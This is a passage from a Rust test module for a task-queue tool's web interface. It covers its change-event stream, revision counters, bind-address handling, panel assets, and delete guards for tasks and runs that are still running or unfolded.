12994 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12995 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12996 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12997 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12998 ] {
12999 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13000 }
13001 }
13002
13003 #[test]
13004 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13005 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13012 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13013 assert!(APP_JS.contains("function revealQueueSection(details)"));
13014 assert!(
13015 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13016 "renderQueue() must consume both focus channels on every pass"
13017 );
13018 assert!(
13019 APP_JS.contains(
13020 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13021 ),
13022 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13023 the recursive renderQueue() call has nothing left to reveal"
13024 );
13025 assert!(
13026 APP_JS.contains(
13027 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13028 ),
13029 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13030 );
13031 assert!(
13039 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13040 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13041 hashchange event that may never fire"
13042 );
13043 }
13044
13045 #[tokio::test]
13046 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13047 let f = Fixture::start().await;
13048
13049 let mut socket = tokio::net::TcpStream::connect(f.addr)
13050 .await
13051 .expect("connect");
13052 socket
13053 .write_all(
13054 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13055 )
13056 .await
13057 .expect("write request");
13058
13059 let mut seen = String::new();
13062 let mut buf = [0u8; 1024];
13063 while !seen.contains("event: change") {
13064 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13065 .await
13066 .expect("the stream must speak within five seconds")
13067 .expect("read");
13068 assert!(read > 0, "the server closed the change stream: {seen}");
13069 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13070 }
13071
13072 assert!(
13073 seen.to_lowercase()
13074 .contains("content-type: text/event-stream"),
13075 "the browser only reconnects automatically for a real SSE stream: {seen}"
13076 );
13077 let data = seen
13078 .lines()
13079 .find_map(|l| l.strip_prefix("data:"))
13080 .expect("a data line");
13081 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13082 assert!(
13083 payload["queue_rev"].is_u64()
13084 && payload["runs_rev"].is_u64()
13085 && payload["questions_rev"].is_u64()
13086 && payload["talks_rev"].is_u64()
13087 && payload["notifications_rev"].is_u64()
13088 && payload["loop_rev"].is_u64(),
13089 "the client needs one revision per store to know what to refetch, \
13090 and `talks_rev` is the only notification a standing talk gets - a \
13091 phone whose radio slept through a turn learns about it here, as \
13092 does one whose operator started the loop from another device: \
13093 {payload}"
13094 );
13095
13096 let health = f.get("/api/health").await.json();
13103 for key in [
13104 "queue_rev",
13105 "runs_rev",
13106 "questions_rev",
13107 "talks_rev",
13108 "notifications_rev",
13109 "loop_rev",
13110 ] {
13111 assert!(
13112 health[key].is_u64(),
13113 "health is the change stream's fallback and is missing `{key}`: {health}"
13114 );
13115 }
13116 }
13117
13118 #[tokio::test]
13119 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13120 let f = Fixture::start().await;
13121 let before = f.get("/api/health").await.json()["talks_rev"]
13122 .as_u64()
13123 .expect("talks_rev");
13124
13125 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13126 std::thread::sleep(Duration::from_millis(10));
13127 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13128 on_disk.turns.push(crate::talk::Turn {
13129 who: crate::talk::Who::Operator,
13130 body: "a new turn".to_owned(),
13131 at: Timestamp::now(),
13132 attachments: Vec::new(),
13133 usage: None,
13134 });
13135 f.talks().put(&mut on_disk).expect("record a turn");
13136
13137 let after = f.get("/api/health").await.json()["talks_rev"]
13138 .as_u64()
13139 .expect("talks_rev");
13140 assert_ne!(
13141 before, after,
13142 "a phone must be able to notice a talk's reply without polling every store"
13143 );
13144 }
13145
13146 #[test]
13147 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13148 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13152 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13153 }
13154 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13155 assert!("everywhere".parse::<Bind>().is_err());
13156 }
13157
13158 #[test]
13159 fn an_explicit_bind_address_is_taken_verbatim() {
13160 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13161
13162 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13163
13164 assert_eq!(addr, asked);
13165 assert!(
13166 warning.is_none(),
13167 "an operator who named an address gets no lecture"
13168 );
13169 }
13170
13171 #[test]
13172 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13173 let (addr, warning) = resolve_bind(&Bind::Auto);
13174
13175 match addr {
13182 IpAddr::V4(ip) if is_tailnet(&ip) => {
13183 assert!(warning.is_none(), "a tailnet address needs no warning");
13184 }
13185 other => {
13186 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13187 let warning = warning.expect("a fallback has to explain itself");
13188 assert!(
13189 warning.contains("127.0.0.1") && warning.contains("local-only"),
13190 "the warning says what happened and what it costs: {warning}"
13191 );
13192 }
13193 }
13194 }
13195
13196 #[test]
13197 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13198 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13202 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13203 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13204 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13205 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13206 }
13207
13208 #[test]
13209 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13210 let ids = vec![
13211 "20260902-140501-aaaa".to_owned(),
13212 "20260902-140502-aabb".to_owned(),
13213 ];
13214
13215 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13216 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13217 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13218
13219 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13220 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13221 assert_eq!(short, "20260902-140502-aabb");
13222 }
13223 #[tokio::test]
13224 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13225 let fx = Fixture::start().await;
13231 let id = panel(
13232 &fx,
13233 "<img src=\"shot.png\">",
13234 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13235 );
13236
13237 let doc = fx
13239 .get(&format!("/api/questions/{id}/panel/index.html"))
13240 .await;
13241 assert_eq!(doc.status, 200, "{}", doc.body);
13242 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13243
13244 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13245 assert_eq!(sibling.status, 200, "{}", sibling.body);
13246 assert_eq!(sibling.header("content-type"), Some("image/png"));
13247 assert_eq!(
13248 sibling.header("content-security-policy"),
13249 Some(PANEL_CSP),
13250 "the sibling route must carry the same policy as the asset route"
13251 );
13252
13253 assert_eq!(
13256 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13257 200
13258 );
13259 }
13260
13261 #[test]
13262 fn delta_stamps_cover_add_update_remove_and_noop() {
13263 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13264 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13265 let delta = diff_stamps(&before, &after, 42);
13266 assert_eq!(delta.base, 42);
13267 assert_eq!(delta.changed, ["b", "c"]);
13268 assert_eq!(delta.removed, ["a"]);
13269 let same = diff_stamps(&after, &after, 43);
13270 assert!(same.changed.is_empty() && same.removed.is_empty());
13271 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13272 let nanos: Stamps = [("b".into(), (2, 20))].into();
13273 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13274 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13275 assert_eq!(stamps_revision(&Stamps::new()), 0);
13276 }
13277
13278 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13279 std::fs::create_dir_all(home.join("runs")).unwrap();
13280 Arc::new(Ui::new(
13281 Queue::at(home.join("queue")),
13282 Questions::at(home.join("questions")),
13283 Talks::at(home.join("talks")),
13284 home.join("runs"),
13285 home.to_owned(),
13286 PathBuf::from("/repo/magi"),
13287 ))
13288 }
13289
13290 #[tokio::test]
13291 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13292 let home = TempDir::new().unwrap();
13293 let ui = delta_test_ui(home.path());
13294 let mut task = Task::new(
13295 "stream task".into(),
13296 "text".into(),
13297 PathBuf::from("/repo"),
13298 Source::Human,
13299 );
13300 ui.queue.put(&mut task).unwrap();
13301 let response = events(State(ui.clone())).await.into_response();
13302 let mut stream = response.into_body().into_data_stream();
13303 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13304 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13305 .await
13306 .unwrap()
13307 .unwrap()
13308 .unwrap();
13309 let text = String::from_utf8(chunk.to_vec()).unwrap();
13310 let data = text
13311 .lines()
13312 .find_map(|line| {
13313 line.strip_prefix("data: ")
13314 .or_else(|| line.strip_prefix("data:"))
13315 })
13316 .unwrap();
13317 serde_json::from_str(data).unwrap()
13318 }
13319 let initial = change(&mut stream).await;
13320 assert!(initial.get("queue_delta").is_none());
13321 task.instruction.push_str(" changed");
13322 ui.queue.put(&mut task).unwrap();
13323 let updated = change(&mut stream).await;
13324 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13325 assert_eq!(
13326 updated["queue_delta"]["changed"],
13327 serde_json::json!([task.id])
13328 );
13329 assert_eq!(
13330 updated["queue_rev"].as_u64(),
13331 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13332 );
13333 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13334 let removed = change(&mut stream).await;
13335 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13336 assert_eq!(
13337 removed["queue_delta"]["removed"],
13338 serde_json::json!([task.id])
13339 );
13340 }
13341
13342 #[tokio::test]
13343 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13344 let home = TempDir::new().unwrap();
13345 let ui = delta_test_ui(home.path());
13346 let queue = ui.queue.clone();
13347 let query = |ids: Option<&str>| {
13348 Query(ListQuery {
13349 limit: Some(2),
13350 ids: ids.map(str::to_owned),
13351 })
13352 };
13353 let mut root = Task::new(
13354 "root".into(),
13355 "instruction".into(),
13356 PathBuf::from("/repo"),
13357 Source::Human,
13358 );
13359 queue.put(&mut root).unwrap();
13360 let mut blocked = Task::new(
13361 "blocked".into(),
13362 "instruction".into(),
13363 PathBuf::from("/repo"),
13364 Source::Human,
13365 );
13366 blocked.block(vec![root.id.clone()], None);
13367 queue.put(&mut blocked).unwrap();
13368 let whole =
13369 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13370 .unwrap();
13371 let subset = serde_json::to_value(
13372 queue_list(State(ui.clone()), query(Some(&root.id)))
13373 .await
13374 .unwrap()
13375 .0,
13376 )
13377 .unwrap();
13378 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13379 let blockers = serde_json::to_value(
13380 queue_list(State(ui.clone()), query(Some("")))
13381 .await
13382 .unwrap()
13383 .0,
13384 )
13385 .unwrap();
13386 assert_eq!(blockers.as_array().unwrap().len(), 1);
13387 assert_eq!(blockers[0]["id"], blocked.id);
13388 assert_eq!(
13389 blockers[0]["waits_on"],
13390 whole
13391 .as_array()
13392 .unwrap()
13393 .iter()
13394 .find(|row| row["id"] == blocked.id)
13395 .unwrap()["waits_on"]
13396 );
13397
13398 for id in [
13399 "20260902-140501-aaaa",
13400 "20260902-140502-bbbb",
13401 "20260902-140503-cccc",
13402 ] {
13403 write_run(&ui.runs, id, RunStatus::Merged);
13404 }
13405 let old = serde_json::to_value(
13406 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13407 .await
13408 .unwrap()
13409 .0,
13410 )
13411 .unwrap();
13412 assert!(
13413 old.as_array().unwrap().is_empty(),
13414 "older updates must not enter the window"
13415 );
13416 let newest = serde_json::to_value(
13417 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13418 .await
13419 .unwrap()
13420 .0,
13421 )
13422 .unwrap();
13423 assert_eq!(newest.as_array().unwrap().len(), 1);
13424 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13425
13426 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13427 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13428 let talks = serde_json::to_value(
13429 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13430 .await
13431 .unwrap()
13432 .0,
13433 )
13434 .unwrap();
13435 assert_eq!(talks.as_array().unwrap().len(), 1);
13436 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13437 assert_eq!(
13438 serde_json::to_value(
13439 talks_list(State(ui.clone()), query(Some("")))
13440 .await
13441 .unwrap()
13442 .0
13443 )
13444 .unwrap(),
13445 serde_json::json!([])
13446 );
13447 }
13448
13449 #[tokio::test]
13450 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13451 async fn delta_payload_benchmark() {
13452 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13453 let ui = delta_test_ui(&home);
13454 let query = |ids: Option<String>| {
13455 Query(ListQuery {
13456 limit: Some(50),
13457 ids,
13458 })
13459 };
13460 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13461 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13462 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13463 let queue_id = queue
13464 .iter()
13465 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13466 .unwrap_or(&queue[0])
13467 .task
13468 .id
13469 .clone();
13470 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13471 .await
13472 .unwrap()
13473 .0;
13474 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13475 .await
13476 .unwrap()
13477 .0;
13478 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13479 .await
13480 .unwrap()
13481 .0;
13482 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13483 eprintln!(
13484 "DELTA_PAYLOAD {}",
13485 serde_json::json!({
13486 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13487 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13488 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13489 "counts": [queue.len(), runs.len(), talks.len()],
13490 "blocked": queue_delta.len() - 1,
13491 })
13492 );
13493 }
13494
13495 #[test]
13496 fn runs_revision_moves_when_deleting_an_older_run() {
13497 let temp = TempDir::new().expect("tempdir");
13498 let runs = temp.path().join("runs");
13499 std::fs::create_dir_all(&runs).expect("create runs dir");
13500
13501 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13502
13503 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13504 std::thread::sleep(Duration::from_millis(10));
13505 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13506
13507 let rev_before = runs_revision(&runs);
13508 assert!(rev_before > 0);
13509
13510 let old_dir = runs.join("20260901-100000-old1");
13511 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13512
13513 let rev_after = runs_revision(&runs);
13514 assert_ne!(
13515 rev_before, rev_after,
13516 "deleting an older run must change the revision so other clients see the deletion"
13517 );
13518 }
13519
13520 fn write_state(runs: &FsPath, state: &RunState) {
13525 let dir = runs.join(&state.id);
13526 std::fs::create_dir_all(&dir).expect("run dir");
13527 std::fs::write(
13528 dir.join("run.json"),
13529 serde_json::to_string_pretty(state).expect("serialize run"),
13530 )
13531 .expect("write run.json");
13532 }
13533
13534 #[test]
13539 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13540 let temp = TempDir::new().expect("tempdir");
13541 let runs = temp.path().join("runs");
13542 std::fs::create_dir_all(&runs).expect("create runs dir");
13543 let mut state = RunState::new(
13544 PathBuf::from("/repo/magi"),
13545 "main".to_owned(),
13546 "0123456789abcdef".to_owned(),
13547 "task".to_owned(),
13548 Config::default(),
13549 );
13550 state.id = "20260902-100000-c0de".to_owned();
13551 write_state(&runs, &state);
13552
13553 let rev_idle = runs_revision(&runs);
13554 std::thread::sleep(Duration::from_millis(10));
13555 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13556 write_state(&runs, &state);
13557 let rev_started = runs_revision(&runs);
13558 assert_ne!(
13559 rev_idle, rev_started,
13560 "a seat starting must move the revision"
13561 );
13562
13563 std::thread::sleep(Duration::from_millis(10));
13564 state.seat_finished("judge-1");
13565 write_state(&runs, &state);
13566 let rev_finished = runs_revision(&runs);
13567 assert_ne!(
13568 rev_started, rev_finished,
13569 "and clearing it again must move the revision a second time"
13570 );
13571 }
13572
13573 #[tokio::test]
13574 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13575 let fx = Fixture::start().await;
13580 let q = fx.queue();
13581
13582 let mut t = Task::new(
13583 "Task".to_owned(),
13584 "Instruction".to_owned(),
13585 PathBuf::from("/repo"),
13586 Source::Human,
13587 );
13588 t.block(
13589 vec!["20260101-000000-dead".to_owned()],
13590 Some("waiting on Task 1".to_owned()),
13591 );
13592 t.answers.push(crate::queue::AnsweredQuestion {
13593 question: "Which backend?".to_owned(),
13594 answer: "SQLite".to_owned(),
13595 });
13596 q.put(&mut t).expect("put t");
13597
13598 let res = fx.get("/api/queue").await;
13599 assert_eq!(res.status, 200);
13600 let list = res.json();
13601 let view = list
13602 .as_array()
13603 .expect("array")
13604 .iter()
13605 .find(|v| v["id"] == t.id)
13606 .expect("task in list");
13607 assert_eq!(view["status_str"], "blocked");
13608 assert_eq!(
13609 view["blocked_by"],
13610 serde_json::json!(["20260101-000000-dead"])
13611 );
13612 assert_eq!(view["block_reason"], "waiting on Task 1");
13613 assert_eq!(view["answers"][0]["question"], "Which backend?");
13614 assert_eq!(view["answers"][0]["answer"], "SQLite");
13615
13616 let res = fx
13620 .post(&format!("/api/queue/{}/hold", t.short()), None)
13621 .await;
13622 assert_eq!(res.status, 200);
13623 let held = res.json();
13624 assert_eq!(held["status_str"], "held");
13625 assert_eq!(held["blocked_by"], serde_json::json!([]));
13626 assert!(held["block_reason"].is_null());
13627 assert_eq!(held["answers"][0]["answer"], "SQLite");
13628 }
13629
13630 #[tokio::test]
13631 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13632 let fx = Fixture::start().await;
13633 let q = fx.queue();
13634 let mk = |title: &str| {
13635 Task::new(
13636 title.to_owned(),
13637 "Instruction".to_owned(),
13638 PathBuf::from("/repo"),
13639 Source::Human,
13640 )
13641 };
13642 let mut root = mk("root");
13643 root.hold_manual(Some("waiting".to_owned()));
13644 q.put(&mut root).unwrap();
13645 let mut mid = mk("mid");
13646 mid.block(vec![root.id.clone()], None);
13647 q.put(&mut mid).unwrap();
13648 let mut leaf = mk("leaf");
13649 leaf.block(vec![mid.id.clone()], None);
13650 q.put(&mut leaf).unwrap();
13651
13652 let list = fx.get("/api/queue").await.json();
13653 let find = |id: &str| {
13654 list.as_array()
13655 .unwrap()
13656 .iter()
13657 .find(|v| v["id"] == id)
13658 .unwrap()
13659 .clone()
13660 };
13661 let leaf_view = find(&leaf.id);
13662 assert_eq!(
13663 leaf_view["waits_on"],
13664 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13665 );
13666 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13667 assert_eq!(
13668 find(&mid.id)["waits_on"],
13669 serde_json::json!([format!("{} (held)", root.short())])
13670 );
13671 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13672 }
13673
13674 #[tokio::test]
13675 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13676 let fx = Fixture::start().await;
13677 let q = fx.queue();
13678
13679 let mut t1 = Task::new(
13681 "Task 1".to_owned(),
13682 "Instruction 1".to_owned(),
13683 PathBuf::from("/repo"),
13684 Source::Human,
13685 );
13686 let run_id = "20260901-000000-r111";
13687 t1.runs.push(run_id.to_owned());
13688 write_run(&fx.runs(), run_id, RunStatus::Merged);
13689 q.put(&mut t1).expect("put t1");
13690
13691 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13693 assert_eq!(res.status, 204);
13694 assert!(res.body.is_empty(), "204 No Content has no body");
13695 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13696 assert!(
13697 fx.runs().join(run_id).exists(),
13698 "run directory must not be deleted when its task is deleted"
13699 );
13700
13701 let mut t2 = Task::new(
13703 "Task 2".to_owned(),
13704 "Instruction 2".to_owned(),
13705 PathBuf::from("/repo"),
13706 Source::Human,
13707 );
13708 t2.status = TaskStatus::Running;
13709 q.put(&mut t2).expect("put t2");
13710 let mut beat = crate::daemon::Status::new();
13711 beat.current = vec![crate::daemon::Current {
13712 task: t2.id.clone(),
13713 run: "20260901-000000-r222".to_owned(),
13714 }];
13715 beat.updated_at = jiff::Timestamp::now();
13716 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13717 .expect("publish a heartbeat");
13718 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13719 assert_eq!(res.status, 409);
13720 assert!(
13721 res.json()["error"]
13722 .as_str()
13723 .unwrap()
13724 .contains("live daemon")
13725 );
13726 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13727
13728 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13734 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13735 .expect("leave a stale heartbeat");
13736 let mut t3 = Task::new(
13737 "Task 3".to_owned(),
13738 "Instruction 3".to_owned(),
13739 PathBuf::from("/repo"),
13740 Source::Human,
13741 );
13742 t3.status = TaskStatus::Running;
13743 q.put(&mut t3).expect("put t3");
13744 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13745 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13746 assert_eq!(res.status, 204);
13747 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13748 assert!(
13749 q.claim(&t3.id).is_ok(),
13750 "the stale lock went with it, so the id is claimable again"
13751 );
13752
13753 let res = fx.delete("/api/queue/nonexistent").await;
13755 assert_eq!(res.status, 404);
13756 }
13757
13758 #[tokio::test]
13759 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13760 let fx = Fixture::start().await;
13761 let runs = fx.runs();
13762
13763 let run_id = "20260901-000000-fold";
13765 let mut state = RunState::new(
13766 PathBuf::from("/repo"),
13767 "main".to_owned(),
13768 "abc".to_owned(),
13769 "instruction".to_owned(),
13770 Config::default(),
13771 );
13772 state.id = run_id.to_owned();
13773 state.status = RunStatus::Merged;
13774 state.candidates.push(crate::run::Candidate {
13775 index: 0,
13776 label: 'A',
13777 agent: "a".to_owned(),
13778 branch: "b".to_owned(),
13779 worktree: PathBuf::from("/w"),
13780 summary: String::new(),
13781 stat: String::new(),
13782 files: 1,
13783 commits: 1,
13784 empty: false,
13785 failed: None,
13786 verified_noop: None,
13787 duration_ms: 0,
13788 folded: true,
13789 });
13790 let dir = runs.join(run_id);
13791 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13792 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13793 .expect("write artifact");
13794 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13795 .expect("write run.json");
13796
13797 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13799 assert_eq!(res.status, 204);
13800 assert!(res.body.is_empty(), "204 has no body");
13801 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13802
13803 let run_running = "20260901-000000-rung";
13808 write_run(&runs, run_running, RunStatus::Prep);
13809 let mut beat = crate::daemon::Status::new();
13810 beat.current = vec![crate::daemon::Current {
13811 task: "20260901-000000-task".to_owned(),
13812 run: run_running.to_owned(),
13813 }];
13814 beat.updated_at = jiff::Timestamp::now();
13815 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13816 .expect("publish a heartbeat");
13817 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13818 assert_eq!(res.status, 409);
13819 assert!(
13820 res.json()["error"]
13821 .as_str()
13822 .unwrap()
13823 .contains("live daemon"),
13824 "the refusal must say who is holding it"
13825 );
13826 assert!(
13827 runs.join(run_running).exists(),
13828 "a run in flight keeps its directory"
13829 );
13830
13831 let run_unfolded = "20260901-000000-unfd";
13833 let mut state2 = RunState::new(
13834 PathBuf::from("/repo"),
13835 "main".to_owned(),
13836 "abc".to_owned(),
13837 "instruction".to_owned(),
13838 Config::default(),
13839 );
13840 state2.id = run_unfolded.to_owned();
13841 state2.status = RunStatus::Ready;
13842 state2.candidates.push(crate::run::Candidate {
13843 index: 0,
13844 label: 'A',
13845 agent: "a".to_owned(),
13846 branch: "b".to_owned(),
13847 worktree: PathBuf::from("/w"),
13848 summary: String::new(),
13849 stat: String::new(),
13850 files: 1,
13851 commits: 1,
13852 empty: false,
13853 failed: None,
13854 verified_noop: None,
13855 duration_ms: 0,
13856 folded: false,
13857 });
13858 let dir2 = runs.join(run_unfolded);
13859 std::fs::create_dir_all(&dir2).expect("create dir2");
13860 std::fs::write(
13861 dir2.join("run.json"),
13862 serde_json::to_string(&state2).unwrap(),
13863 )
13864 .expect("write run.json");
13865
13866 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13867 assert_eq!(res.status, 409);
13868 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13869 assert!(dir2.exists(), "unfolded run directory is kept");
13870
13871 let res = fx.delete("/api/runs/nonexistent").await;
13873 assert_eq!(res.status, 404);
13874 }
13875
13876 #[test]
13885 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13886 let start = APP_JS
13887 .find("function renderStats() {")
13888 .expect("renderStats");
13889 let end = start
13890 + APP_JS[start..]
13891 .find("function statsTile(")
13892 .expect("the next top-level function");
13893 let body = &APP_JS[start..end];
13894
13895 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13896 let gate_end = gate_start
13897 + body[gate_start..]
13898 .find("}\n renderStatsQueue")
13899 .expect("the gate's own closing brace, right before the unconditional call");
13900 let gated = &body[gate_start..gate_end];
13901
13902 assert_eq!(
13903 body.matches("renderStatsQueue(").count(),
13904 1,
13905 "renderStats must call renderStatsQueue exactly once: {body}"
13906 );
13907 assert!(
13908 !gated.contains("renderStatsQueue"),
13909 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13910 run-derived panels on an empty run history - the queue panel has to render \
13911 regardless: {gated}"
13912 );
13913 }
13914
13915 #[test]
13916 fn web_ui_delete_contract_in_front_end() {
13917 assert!(APP_JS.contains("deleteRun:"));
13919 assert!(APP_JS.contains("deleteTask:"));
13920
13921 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13923 ..APP_JS.find("function renderRuns").unwrap()];
13924 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13925
13926 assert!(APP_JS.contains("renderRunDelete"));
13928 assert!(APP_JS.contains("runDeleteReason"));
13929 assert!(APP_JS.contains("magi fold"));
13930 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13931
13932 assert!(APP_JS.contains("cancel.focus"));
13934 assert!(APP_JS.contains("armedRunDelete"));
13935 assert!(APP_JS.contains("renderTaskDeleteBox"));
13936 assert!(APP_JS.contains("armed${cap(key)}"));
13937
13938 assert!(APP_JS.contains("disabled: status === \"running\""));
13940 }
13941
13942 #[test]
13962 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13963 let build = APP_JS
13964 .find("function createRunCard")
13965 .expect("createRunCard exists");
13966 let update = APP_JS
13967 .find("function updateRunCard")
13968 .expect("updateRunCard exists");
13969 let end = APP_JS
13970 .find("function renderRuns")
13971 .expect("renderRuns exists");
13972
13973 let builder = &APP_JS[build..update];
13975 let open = builder.find("refs = {").expect("createRunCard sets refs");
13976 let literal = &builder[open + "refs = {".len()..];
13977 let close = literal.find('}').expect("the refs literal is closed");
13978 let published: HashSet<&str> = literal[..close]
13979 .split(',')
13980 .filter_map(|entry| entry.split(':').next())
13982 .map(str::trim)
13983 .filter(|name| !name.is_empty())
13984 .collect();
13985 assert!(
13986 published.len() > 5,
13987 "the refs literal did not parse into names: {published:?}"
13988 );
13989
13990 let mut used: Vec<&str> = Vec::new();
13993 let updaters = &APP_JS[update..end];
13994 for (at, _) in updaters.match_indices("r.") {
13995 let before = updaters[..at].chars().next_back();
